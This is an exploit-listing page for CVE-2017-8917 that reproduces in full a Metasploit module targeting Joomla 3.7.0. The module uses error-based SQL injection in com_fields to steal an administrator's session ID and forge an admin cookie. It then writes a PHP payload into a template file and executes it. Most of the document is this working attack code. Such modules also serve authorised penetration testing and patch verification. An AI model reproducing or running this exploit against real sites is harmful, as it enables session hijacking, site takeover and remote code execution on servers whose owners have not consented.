Joomla Component Fields SQLi Remote Code Execution
CVE
Category
Price
Severity
CVE-2017-8917
CWE-89
$500
Critical
Author
Risk
Exploitation Type
Date
MaYaSeVeN
High
Remote
2018-03-30
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030251 Below is a copy:
Joomla Component Fields SQLi Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info={})
super(update_info(info,
'Name' => 'Joomla Component Fields SQLi Remote Code Execution',
'Description' => %q{
This module exploits a SQL injection vulnerability in the com_fields
component, which was introduced to the core of Joomla in version 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mateus Lino', # Vulnerability discovery
'luisco100 <luisco100[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2017-8917' ], # SQLi
[ 'EDB', '42033' ],
[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 3.7.0', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'May 17 2017',
'DefaultTarget' => 0))
end
def check
# Request using a non-existing table
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end
def sqli(tableprefix, option)
# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real Administrator or Super User sessions.
if option == 'check'
start = rand_text_alpha(5)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(5)
fin_h = fin.unpack('H*')[0]
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
else
start = rand_text_alpha(3)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(3)
fin_h = fin.unpack('H*')[0]
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'option' => 'com_fields',
'view' => 'fields',
'layout'=> 'modal',
'list[fullordering]' => sql
}
})
if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
return $1
end
return nil
end
def exploit
# Request using a non-existing table first, to retrieve the table prefix
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
else
table_prefix = Base64.decode64(val)
table_prefix.sub! '_session', ''
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
end
# Retrieve the admin session using our retrieved table prefix
val = sqli("#{table_prefix}_", 'exploit')
if val.nil?
fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
else
auth_cookie_part = val
print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')
})
if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
cookie_begin = $1
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
end
# Modify cookie to authenticated admin
auth_cookie = cookie_begin
auth_cookie << '='
auth_cookie << auth_cookie_part
auth_cookie << ';'
# Authenticated session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie
})
if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
print_good("#{peer} - Successfully authenticated")
else
fail_with(Failure::Unknown, "#{peer} - Session failure")
end
# Retrieve template view
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'templates'
}
})
# We try to retrieve and store the first template found
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
template_id = $1
file_id = $2
form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
input_id = input_hidden[7].split("\"")
input_id = input_id[1]
else
fail_with(Failure::Unknown, "Unable to retrieve template")
end
filename = rand_text_alphanumeric(rand(10)+6)
# Create file
print_status("#{peer} - Creating file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'task' => 'template.createFile',
'id' => template_id,
'file' => file_id,
},
'vars_post' => {
'type' => 'php',
'address' => '',
input_id => '1',
'name' => filename
}
})
# Grab token
if res && res.code == 303 && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to [ #{location} ]")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => auth_cookie
)
# Retrieving template token
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
token = $1
print_status("#{peer} - Token [ #{token} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
end
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
template_path = $1
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
end
else
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
end
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
# Inject payload data into file
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'template',
'id' => template_id,
'file' => filename_base64,
},
'vars_post' => {
'jform[source]' => payload.encoded,
'task' => 'template.apply',
token => '1',
'jform[extension_id]' => template_id,
'jform[filename]' => "/#{filename}.php"
}
})
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
else
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
end
# Request payload
register_files_for_cleanup("#{filename}.php")
print_status("#{peer} - Executing payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
'cookie' => auth_cookie
})
end
end
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